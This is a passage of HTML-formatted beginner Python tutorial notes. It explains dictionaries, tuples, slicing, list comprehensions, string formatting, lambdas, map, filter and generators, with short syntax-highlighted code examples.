style="color:#b8bb26;">&quot;one&quot;</span><span>, +</span><span style="color:#d3869b;">2</span><span>: </span><span style="color:#b8bb26;">&quot;two&quot;</span><span>, +</span><span style="color:#d3869b;">3</span><span>: </span><span style="color:#b8bb26;">&quot;three&quot;</span><span>, +</span><span>} +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">1 </span><span style="color:#fe8019;">in </span><span style="color:#fdf4c1;">nums) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;three&quot; </span><span style="color:#fe8019;">in </span><span style="color:#fdf4c1;">nums) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">4 </span><span style="color:#fe8019;">not in </span><span style="color:#fdf4c1;">nums) +</span></code></pre> +<p>A useful dictionary method is get. It does the same thing as indexing, but if the key is not found in the dictionary it returns another specified value instead (‘None’, by default). Example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>pairs </span><span style="color:#fe8019;">= </span><span>{</span><span style="color:#d3869b;">1</span><span>: </span><span style="color:#b8bb26;">&quot;apple&quot;</span><span>, +</span><span style="color:#b8bb26;">&quot;orange&quot;</span><span>: [</span><span style="color:#d3869b;">2</span><span>, </span><span style="color:#d3869b;">3</span><span>, </span><span style="color:#d3869b;">4</span><span>], +</span><span style="color:#d3869b;">True</span><span>: </span><span style="color:#d3869b;">False</span><span>, +</span><span style="color:#d3869b;">None</span><span>: </span><span style="color:#b8bb26;">&quot;True&quot;</span><span>, +</span><span>} +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(pairs.get(</span><span style="color:#b8bb26;">&quot;orange&quot;</span><span style="color:#fdf4c1;">)) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(pairs.get(</span><span style="color:#d3869b;">7</span><span style="color:#fdf4c1;">)) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(pairs.get(</span><span style="color:#d3869b;">12345</span><span style="color:#fdf4c1;">, </span><span style="color:#b8bb26;">&quot;not in dictionary&quot;</span><span style="color:#fdf4c1;">)) +</span></code></pre> +<h2 id="tuples">Tuples</h2> +<p>Tuples are very similar to lists, except that they are immutable (they cannot be changed). Also, they are created using parentheses, rather than square brackets. Example:</p> +<p><code>words = (&quot;spam&quot;, &quot;eggs&quot;, &quot;sausages&quot;,)</code></p> +<p>You can access the values in the tuple with their index, just as you did with lists:</p> +<p><code>print(words[0])</code></p> +<p>Trying to reassign a value causes a TypeError.</p> +<p><code>words[1] = &quot;cheese&quot;</code></p> +<blockquote> +<p>You can access the values in the tuple with their index, just as you did with lists.</p> +</blockquote> +<p>Tuples can be created without the parentheses, by just separating the values with commas. Example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>my_tuple </span><span style="color:#fe8019;">= </span><span style="color:#b8bb26;">&quot;one&quot;</span><span>, </span><span style="color:#b8bb26;">&quot;two&quot;</span><span>, </span><span style="color:#b8bb26;">&quot;three&quot; +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(my_tuple[</span><span style="color:#d3869b;">0</span><span style="color:#fdf4c1;">]) +</span></code></pre> +<p>An empty tuple is created using an empty parenthesis pair.</p> +<p><code>tpl = ()</code></p> +<blockquote> +<p>Tuples are faster than lists, but they cannot be changed.</p> +</blockquote> +<h2 id="list-slices">List Slices</h2> +<p>List slices provide a more advanced way of retrieving values from a list. Basic list slicing involves indexing a list with two colon-separated integers. This returns a new list containing all the values in the old list between the indices. Example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>squares </span><span style="color:#fe8019;">= </span><span>[</span><span style="color:#d3869b;">0</span><span>, </span><span style="color:#d3869b;">1</span><span>, </span><span style="color:#d3869b;">4</span><span>, </span><span style="color:#d3869b;">9</span><span>, </span><span style="color:#d3869b;">16</span><span>, </span><span style="color:#d3869b;">25</span><span>, </span><span style="color:#d3869b;">36</span><span>, </span><span style="color:#d3869b;">49</span><span>, </span><span style="color:#d3869b;">64</span><span>, </span><span style="color:#d3869b;">81</span><span>] +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(squares[</span><span style="color:#d3869b;">2</span><span style="color:#fdf4c1;">:</span><span style="color:#d3869b;">6</span><span style="color:#fdf4c1;">]) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(squares[</span><span style="color:#d3869b;">3</span><span style="color:#fdf4c1;">:</span><span style="color:#d3869b;">8</span><span style="color:#fdf4c1;">]) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(squares[</span><span style="color:#d3869b;">0</span><span style="color:#fdf4c1;">:</span><span style="color:#d3869b;">1</span><span style="color:#fdf4c1;">]) +</span></code></pre> +<blockquote> +<p>Like the arguments to range, the first index provided in a slice is included in the result, but the second isn’t.</p> +</blockquote> +<p>If the first number in a slice is omitted, it is taken to be the start of the list. If the second number is omitted, it is taken to be the end. Example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>squares </span><span style="color:#fe8019;">= </span><span>[</span><span style="color:#d3869b;">0</span><span>, </span><span style="color:#d3869b;">1</span><span>, </span><span style="color:#d3869b;">4</span><span>, </span><span style="color:#d3869b;">9</span><span>, </span><span style="color:#d3869b;">16</span><span>, </span><span style="color:#d3869b;">25</span><span>, </span><span style="color:#d3869b;">36</span><span>, </span><span style="color:#d3869b;">49</span><span>, </span><span style="color:#d3869b;">64</span><span>, </span><span style="color:#d3869b;">81</span><span>] +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(squares[:</span><span style="color:#d3869b;">7</span><span style="color:#fdf4c1;">]) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(squares[</span><span style="color:#d3869b;">7</span><span style="color:#fdf4c1;">:]) +</span></code></pre> +<blockquote> +<p>Slicing can also be done on tuples.</p> +</blockquote> +<p>List slices can also have a third number, representing the step, to include only alternate values in the slice.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>squares </span><span style="color:#fe8019;">= </span><span>[</span><span style="color:#d3869b;">0</span><span>, </span><span style="color:#d3869b;">1</span><span>, </span><span style="color:#d3869b;">4</span><span>, </span><span style="color:#d3869b;">9</span><span>, </span><span style="color:#d3869b;">16</span><span>, </span><span style="color:#d3869b;">25</span><span>, </span><span style="color:#d3869b;">36</span><span>, </span><span style="color:#d3869b;">49</span><span>, </span><span style="color:#d3869b;">64</span><span>, </span><span style="color:#d3869b;">81</span><span>] +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(squares[::</span><span style="color:#d3869b;">2</span><span style="color:#fdf4c1;">]) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(squares[</span><span style="color:#d3869b;">2</span><span style="color:#fdf4c1;">:</span><span style="color:#d3869b;">8</span><span style="color:#fdf4c1;">:</span><span style="color:#d3869b;">3</span><span style="color:#fdf4c1;">]) +</span></code></pre> +<blockquote> +<p>[2:8:3] will include elements starting from the 2nd index up to the 8th with a step of 3.</p> +</blockquote> +<p>Negative values can be used in list slicing (and normal list indexing). When negative values are used for the first and second values in a slice (or a normal index), they count from the end of the list.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>squares </span><span style="color:#fe8019;">= </span><span>[</span><span style="color:#d3869b;">0</span><span>, </span><span style="color:#d3869b;">1</span><span>, </span><span style="color:#d3869b;">4</span><span>, </span><span style="color:#d3869b;">9</span><span>, </span><span style="color:#d3869b;">16</span><span>, </span><span style="color:#d3869b;">25</span><span>, </span><span style="color:#d3869b;">36</span><span>, </span><span style="color:#d3869b;">49</span><span>, </span><span style="color:#d3869b;">64</span><span>, </span><span style="color:#d3869b;">81</span><span>] +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(squares[</span><span style="color:#d3869b;">1</span><span style="color:#fdf4c1;">::</span><span style="color:#fe8019;">-</span><span style="color:#d3869b;">1</span><span style="color:#fdf4c1;">]) +</span></code></pre> +<blockquote> +<p>If a negative value is used for the step, the slice is done backwards. Using [::-1] as a slice is a common and idiomatic way to reverse a list.</p> +</blockquote> +<h2 id="list-comprehensions">List Comprehensions</h2> +<p>List comprehensions are a useful way of quickly creating lists whose contents obey a simple rule. For example, we can do the following:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="font-style:italic;color:#928374;"># a list comprehension +</span><span>cubes </span><span style="color:#fe8019;">= </span><span>[i</span><span style="color:#fe8019;">**</span><span style="color:#d3869b;">3 </span><span style="color:#fa5c4b;">for </span><span>i </span><span style="color:#fa5c4b;">in </span><span style="color:#fabd2f;">range</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">5</span><span style="color:#fdf4c1;">)</span><span>] +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(cubes) +</span></code></pre> +<blockquote> +<p>List comprehensions are inspired by set-builder notation in mathematics.</p> +</blockquote> +<p>A list comprehension can also contain an if statement to enforce a condition on values in the list. Example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>evens</span><span style="color:#fe8019;">=</span><span>[i</span><span style="color:#fe8019;">**</span><span style="color:#d3869b;">2 </span><span style="color:#fa5c4b;">for </span><span>i </span><span style="color:#fa5c4b;">in </span><span style="color:#fabd2f;">range</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">10</span><span style="color:#fdf4c1;">) </span><span style="color:#fa5c4b;">if </span><span>i</span><span style="color:#fe8019;">**</span><span style="color:#d3869b;">2 </span><span style="color:#fe8019;">% </span><span style="color:#d3869b;">2 </span><span style="color:#fe8019;">== </span><span style="color:#d3869b;">0</span><span>] +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(evens) +</span></code></pre> +<p>Trying to create a list in a very extensive range will result in a MemoryError. This code shows an example where the list comprehension runs out of memory.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>even </span><span style="color:#fe8019;">= </span><span>[</span><span style="color:#d3869b;">2</span><span style="color:#fe8019;">*</span><span>i </span><span style="color:#fa5c4b;">for </span><span>i </span><span style="color:#fa5c4b;">in </span><span style="color:#fabd2f;">range</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">10</span><span style="color:#fe8019;">**</span><span style="color:#d3869b;">100</span><span style="color:#fdf4c1;">)</span><span>] +</span></code></pre> +<blockquote> +<p>This issue is solved by generators, which are covered later.</p> +</blockquote> +<h2 id="string-formatting">String Formatting</h2> +<p>So far, to combine strings and non-strings, you’ve converted the non-strings to strings and added them. String formatting provides a more powerful way to embed non-strings within strings. String formatting uses a string’s format method to substitute a number of arguments in the string. Example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="font-style:italic;color:#928374;"># string formatting +</span><span>nums </span><span style="color:#fe8019;">= </span><span>[</span><span style="color:#d3869b;">4</span><span>, </span><span style="color:#d3869b;">5</span><span>, </span><span style="color:#d3869b;">6</span><span>] +</span><span>msg </span><span style="color:#fe8019;">= </span><span style="color:#b8bb26;">&quot;Numbers: </span><span style="color:#fdf4c1;">{0} {1} {2}</span><span style="color:#b8bb26;">&quot;</span><span style="color:#fdf4c1;">. format(nums[</span><span style="color:#d3869b;">0</span><span style="color:#fdf4c1;">], nums[</span><span style="color:#d3869b;">1</span><span style="color:#fdf4c1;">], nums[</span><span style="color:#d3869b;">2</span><span style="color:#fdf4c1;">]) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(msg) +</span></code></pre> +<blockquote> +<p>Each argument of the format function is placed in the string at the corresponding position, which is determined using the curly braces { }.</p> +</blockquote> +<p>String formatting can also be done with named arguments. Example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>a</span><span style="color:#fe8019;">= </span><span style="color:#b8bb26;">&quot;</span><span style="color:#fdf4c1;">{x}</span><span style="color:#b8bb26;">, </span><span style="color:#fdf4c1;">{y}</span><span style="color:#b8bb26;">&quot;</span><span style="color:#fdf4c1;">.format(x </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">5</span><span style="color:#fdf4c1;">, y </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">12</span><span style="color:#fdf4c1;">) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(a) +</span></code></pre> +<h2 id="string-functions">String Functions</h2> +<p>Python contains many useful built-in functions and methods to accomplish common tasks. join - joins a list of strings with another string as a separator. replace - replaces one substring in a string with another. startswith and endswith - determine if there is a substring at the start and end of a string, respectively. To change the case of a string, you can use lower and upper. The method split is the opposite of join turning a string with a certain separator into a list. Some examples:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;, &quot;</span><span style="color:#fdf4c1;">.join([</span><span style="color:#b8bb26;">&quot;spam&quot;</span><span style="color:#fdf4c1;">, </span><span style="color:#b8bb26;">&quot;eggs&quot;</span><span style="color:#fdf4c1;">, </span><span style="color:#b8bb26;">&quot;ham&quot;</span><span style="color:#fdf4c1;">])) +</span><span style="font-style:italic;color:#928374;">#prints &quot;spam, eggs, ham&quot; +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;Hello ME&quot;</span><span style="color:#fdf4c1;">.replace(</span><span style="color:#b8bb26;">&quot;ME&quot;</span><span style="color:#fdf4c1;">, </span><span style="color:#b8bb26;">&quot;world&quot;</span><span style="color:#fdf4c1;">)) +</span><span style="font-style:italic;color:#928374;">#prints &quot;Hello world&quot; +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;This is a sentence.&quot;</span><span style="color:#fdf4c1;">.startswith(</span><span style="color:#b8bb26;">&quot;This&quot;</span><span style="color:#fdf4c1;">)) +</span><span style="font-style:italic;color:#928374;"># prints &quot;True&quot; +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;This is a sentence.&quot;</span><span style="color:#fdf4c1;">.endswith(</span><span style="color:#b8bb26;">&quot;sentence.&quot;</span><span style="color:#fdf4c1;">)) +</span><span style="font-style:italic;color:#928374;"># prints &quot;True&quot; +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;This is a sentence.&quot;</span><span style="color:#fdf4c1;">.upper()) +</span><span style="font-style:italic;color:#928374;"># prints &quot;THIS IS A SENTENCE.&quot; +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;AN ALL CAPS SENTENCE&quot;</span><span style="color:#fdf4c1;">.lower()) +</span><span style="font-style:italic;color:#928374;">#prints &quot;an all caps sentence&quot; +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;spam, eggs, ham&quot;</span><span style="color:#fdf4c1;">.split(</span><span style="color:#b8bb26;">&quot;, &quot;</span><span style="color:#fdf4c1;">)) +</span><span style="font-style:italic;color:#928374;">#prints &quot;[&#39;spam&#39;, &#39;eggs&#39;, &#39;ham&#39;]&quot; +</span></code></pre> +<h2 id="numeric-functions">Numeric Functions</h2> +<p>To find the maximum or minimum of some numbers or a list, you can use max or min. To find the distance of a number from zero (its absolute value), use abs. To round a number to a certain number of decimal places, use round. To find the total of a list, use sum. Some examples:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#fabd2f;">min</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">1</span><span style="color:#fdf4c1;">, </span><span style="color:#d3869b;">2</span><span style="color:#fdf4c1;">, </span><span style="color:#d3869b;">3</span><span style="color:#fdf4c1;">, </span><span style="color:#d3869b;">4</span><span style="color:#fdf4c1;">, </span><span style="color:#d3869b;">0</span><span style="color:#fdf4c1;">, </span><span style="color:#d3869b;">2</span><span style="color:#fdf4c1;">, </span><span style="color:#d3869b;">1</span><span style="color:#fdf4c1;">)) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#fabd2f;">max</span><span style="color:#fdf4c1;">([</span><span style="color:#d3869b;">1</span><span style="color:#fdf4c1;">, </span><span style="color:#d3869b;">4</span><span style="color:#fdf4c1;">, </span><span style="color:#d3869b;">9</span><span style="color:#fdf4c1;">, </span><span style="color:#d3869b;">2</span><span style="color:#fdf4c1;">, </span><span style="color:#d3869b;">5</span><span style="color:#fdf4c1;">, </span><span style="color:#d3869b;">6</span><span style="color:#fdf4c1;">, </span><span style="color:#d3869b;">8</span><span style="color:#fdf4c1;">])) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#fabd2f;">abs</span><span style="color:#fdf4c1;">(</span><span style="color:#fe8019;">-</span><span style="color:#d3869b;">99</span><span style="color:#fdf4c1;">)) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#fabd2f;">abs</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">42</span><span style="color:#fdf4c1;">)) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#fabd2f;">sum</span><span style="color:#fdf4c1;">([</span><span style="color:#d3869b;">1</span><span style="color:#fdf4c1;">, </span><span style="color:#d3869b;">2</span><span style="color:#fdf4c1;">, </span><span style="color:#d3869b;">3</span><span style="color:#fdf4c1;">, </span><span style="color:#d3869b;">4</span><span style="color:#fdf4c1;">, </span><span style="color:#d3869b;">5</span><span style="color:#fdf4c1;">])) +</span></code></pre> +<h2 id="list-functions-1">List Functions</h2> +<p>Often used in conditional statements, all and any take a list as an argument, and return True if all or any (respectively) of their arguments evaluate to True (and False otherwise). The function enumerate can be used to iterate through the values and indices of a list simultaneously. Example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>nums </span><span style="color:#fe8019;">= </span><span>[</span><span style="color:#d3869b;">55</span><span>, </span><span style="color:#d3869b;">44</span><span>, </span><span style="color:#d3869b;">33</span><span>, </span><span style="color:#d3869b;">22</span><span>, </span><span style="color:#d3869b;">11</span><span>] +</span><span style="color:#fa5c4b;">if </span><span style="color:#fabd2f;">all</span><span style="color:#fdf4c1;">([i </span><span style="color:#fe8019;">&gt; </span><span style="color:#d3869b;">5 </span><span style="color:#fa5c4b;">for </span><span style="color:#fdf4c1;">i </span><span style="color:#fa5c4b;">in </span><span style="color:#fdf4c1;">nums])</span><span>: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;All larger than 5&quot;</span><span style="color:#fdf4c1;">) +</span><span> +</span><span style="color:#fa5c4b;">if </span><span style="color:#fabd2f;">any</span><span style="color:#fdf4c1;">([i </span><span style="color:#fe8019;">% </span><span style="color:#d3869b;">2 </span><span style="color:#fe8019;">== </span><span style="color:#d3869b;">0 </span><span style="color:#fa5c4b;">for </span><span style="color:#fdf4c1;">i </span><span style="color:#fa5c4b;">in </span><span style="color:#fdf4c1;">nums])</span><span>: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;At least one is even&quot;</span><span style="color:#fdf4c1;">) +</span><span> +</span><span style="color:#fa5c4b;">for </span><span>v </span><span style="color:#fa5c4b;">in </span><span style="color:#fabd2f;">enumerate</span><span style="color:#fdf4c1;">(nums)</span><span>: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(v) +</span></code></pre> +<h2 id="lambdas">Lambdas</h2> +<p>Creating a function normally (using def) assigns it to a variable automatically. This is different from the creation of other objects - such as strings and integers - which can be created on the fly, without assigning them to a variable. The same is possible with functions, provided that they are created using lambda syntax. Functions created this way are known as anonymous. This approach is most commonly used when passing a simple function as an argument to another function. The syntax is shown in the next example and consists of the lambda keyword followed by a list of arguments, a colon, and the expression to evaluate and return.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fa5c4b;">def </span><span style="color:#8ec07c;">my_func</span><span>(</span><span style="color:#fdf4c1;">f</span><span>, </span><span style="color:#fdf4c1;">arg</span><span>): +</span><span style="color:#fa5c4b;">return </span><span style="color:#fdf4c1;">f(arg) +</span><span> +</span><span style="color:#fdf4c1;">my_func(</span><span style="color:#fa5c4b;">lambda </span><span style="color:#fdf4c1;">x: </span><span style="color:#d3869b;">2</span><span style="color:#fe8019;">*</span><span style="color:#fdf4c1;">x</span><span style="color:#fe8019;">*</span><span style="color:#fdf4c1;">x, </span><span style="color:#d3869b;">5</span><span style="color:#fdf4c1;">) +</span></code></pre> +<blockquote> +<p>Lambda functions get their name from lambda calculus, which is a model of computation invented by Alonzo Church.</p> +</blockquote> +<p>Lambda functions aren’t as powerful as named functions. They can only do things that require a single expression - usually equivalent to a single line of code. Example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="font-style:italic;color:#928374;">#named function +</span><span style="color:#fa5c4b;">def </span><span style="color:#8ec07c;">polynomial</span><span>(</span><span style="color:#fdf4c1;">x</span><span>): +</span><span style="color:#fa5c4b;">return </span><span>x</span><span style="color:#fe8019;">**</span><span style="color:#d3869b;">2 </span><span style="color:#fe8019;">+ </span><span style="color:#d3869b;">5</span><span style="color:#fe8019;">*</span><span>x </span><span style="color:#fe8019;">+ </span><span style="color:#d3869b;">4 +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(polynomial(</span><span style="color:#fe8019;">-</span><span style="color:#d3869b;">4</span><span style="color:#fdf4c1;">)) +</span><span> +</span><span style="font-style:italic;color:#928374;">#lambda +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">((</span><span style="color:#fa5c4b;">lambda </span><span style="color:#fdf4c1;">x: x</span><span style="color:#fe8019;">**</span><span style="color:#d3869b;">2 </span><span style="color:#fe8019;">+ </span><span style="color:#d3869b;">5</span><span style="color:#fe8019;">*</span><span style="color:#fdf4c1;">x </span><span style="color:#fe8019;">+ </span><span style="color:#d3869b;">4</span><span style="color:#fdf4c1;">) (</span><span style="color:#fe8019;">-</span><span style="color:#d3869b;">4</span><span style="color:#fdf4c1;">)) +</span></code></pre> +<blockquote> +<p>In the code above, we created an anonymous function on the fly and called it with an argument.</p> +</blockquote> +<p>Lambda functions can be assigned to variables, and used like normal functions. Example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>double </span><span style="color:#fe8019;">= </span><span style="color:#fa5c4b;">lambda </span><span style="color:#fdf4c1;">x</span><span>: x </span><span style="color:#fe8019;">* </span><span style="color:#d3869b;">2 +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(double(</span><span style="color:#d3869b;">7</span><span style="color:#fdf4c1;">)) +</span></code></pre> +<blockquote> +<p>However, there is rarely a good reason to do this - it is usually better to define a function with def instead.</p> +</blockquote> +<h2 id="map">map</h2> +<p>The function map takes a function and an iterable as arguments, and returns a new iterable with the function applied to each argument. Example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fa5c4b;">def </span><span style="color:#8ec07c;">add_five</span><span>(</span><span style="color:#fdf4c1;">x</span><span>): +</span><span style="color:#fa5c4b;">return </span><span>x </span><span style="color:#fe8019;">+ </span><span style="color:#d3869b;">5 +</span><span> +</span><span>nums </span><span style="color:#fe8019;">= </span><span>[</span><span style="color:#d3869b;">11</span><span>, </span><span style="color:#d3869b;">22</span><span>, </span><span style="color:#d3869b;">33</span><span>, </span><span style="color:#d3869b;">44</span><span>, </span><span style="color:#d3869b;">55</span><span>] +</span><span>result </span><span style="color:#fe8019;">= </span><span style="color:#fabd2f;">list</span><span style="color:#fdf4c1;">(</span><span style="color:#fabd2f;">map</span><span style="color:#fdf4c1;">(add_five, nums)) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(result) +</span></code></pre> +<p>We could have achieved the same result more easily by using lambda syntax.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>nums </span><span style="color:#fe8019;">= </span><span>[</span><span style="color:#d3869b;">11</span><span>, </span><span style="color:#d3869b;">22</span><span>, </span><span style="color:#d3869b;">33</span><span>, </span><span style="color:#d3869b;">44</span><span>, </span><span style="color:#d3869b;">55</span><span>] +</span><span> +</span><span>result </span><span style="color:#fe8019;">= </span><span style="color:#fabd2f;">list</span><span style="color:#fdf4c1;">(</span><span style="color:#fabd2f;">map</span><span style="color:#fdf4c1;">(</span><span style="color:#fa5c4b;">lambda </span><span style="color:#fdf4c1;">x: x</span><span style="color:#fe8019;">+</span><span style="color:#d3869b;">5</span><span style="color:#fdf4c1;">, nums)) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(result) +</span></code></pre> +<h2 id="filter">filter</h2> +<p>The function filter filters an iterable by removing items that don’t match a predicate (a function that returns a Boolean). Example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>nums </span><span style="color:#fe8019;">= </span><span>[</span><span style="color:#d3869b;">11</span><span>, </span><span style="color:#d3869b;">22</span><span>, </span><span style="color:#d3869b;">33</span><span>, </span><span style="color:#d3869b;">44</span><span>, </span><span style="color:#d3869b;">55</span><span>] +</span><span>res </span><span style="color:#fe8019;">= </span><span style="color:#fabd2f;">list</span><span style="color:#fdf4c1;">(</span><span style="color:#fabd2f;">filter</span><span style="color:#fdf4c1;">(</span><span style="color:#fa5c4b;">lambda </span><span style="color:#fdf4c1;">x: x</span><span style="color:#fe8019;">%</span><span style="color:#d3869b;">2</span><span style="color:#fe8019;">==</span><span style="color:#d3869b;">0</span><span style="color:#fdf4c1;">, nums)) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(res) +</span></code></pre> +<blockquote> +<p>Like map, the result has to be explicitly converted to a list if you want to print it.</p> +</blockquote> +<h2 id="generators">Generators</h2> +<p>Generators are a type of iterable, like lists or tuples. Unlike lists, they don’t allow indexing with arbitrary indices, but they can still be iterated through with for loops. They can be created using functions and the yield statement. Example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fa5c4b;">def </span><span style="color:#8ec07c;">countdown</span><span>(): +</span><span> i</span><span style="color:#fe8019;">=</span><span style="color:#d3869b;">5 +</span><span> </span><span style="color:#fa5c4b;">while </span><span>i </span><span style="color:#fe8019;">&gt; </span><span style="color:#d3869b;">0</span><span>: +</span><span> </span><span style="color:#fa5c4b;">yield </span><span>i +</span><span> i </span><span style="color:#fe8019;">-= </span><span style="color:#d3869b;">1 +</span><span style="color:#fa5c4b;">for </span><span>i </span><span style="color:#fa5c4b;">in </span><span style="color:#fdf4c1;">countdown()</span><span>: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(i) +</span></code></pre> +<blockquote> +<p>The yield statement is used to define a generator, replacing the return of a function to provide a result to its caller without destroying local variables.</p> +</blockquote> +<p>Due to the fact that they yield one item at a time, generators don’t have the memory restrictions of lists. In fact, they can be infinite!</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fa5c4b;">def </span><span style="color:#8ec07c;">infinite_sevens</span><span>(): +</span><span> </span><span style="color:#fa5c4b;">while </span><span style="color:#d3869b;">True</span><span>: +</span><span> </span><span style="color:#fa5c4b;">yield </span><span style="color:#d3869b;">7 +</span><span> +</span><span style="color:#fa5c4b;">for </span><span>i </span><span style="color:#fa5c4b;">in </span><span style="color:#fdf4c1;">infinite_sevens()</span><span>: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(i) +</span></code></pre> +<p>Result:</p> +<pre style="background-color:#282828;color:#fdf4c1aa;"><code><span>&gt;&gt;&gt; +</span><span>7 +</span><span>7 +</span><span>7 +</span><span>7 +</span><span>7 +</span><span>7 +</span><span>7 +</span><span>... +</span></code></pre> +<blockquote> +<p>In short, generators allow you to declare a function that behaves like an iterator, i.e. it can be used in a for loop.</p> +</blockquote> +<p>Finite generators can be converted into lists by passing them as arguments to the list function.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fa5c4b;">def </span><span style="color:#8ec07c;">numbers</span><span>(</span><span style="color:#fdf4c1;">x</span><span>): +</span><span> </span><span style="color:#fa5c4b;">for </span><span>i </span><span style="color:#fa5c4b;">in </span><span style="color:#fabd2f;">range</span><span style="color:#fdf4c1;">(x)</span><span>: +</span><span> </span><span 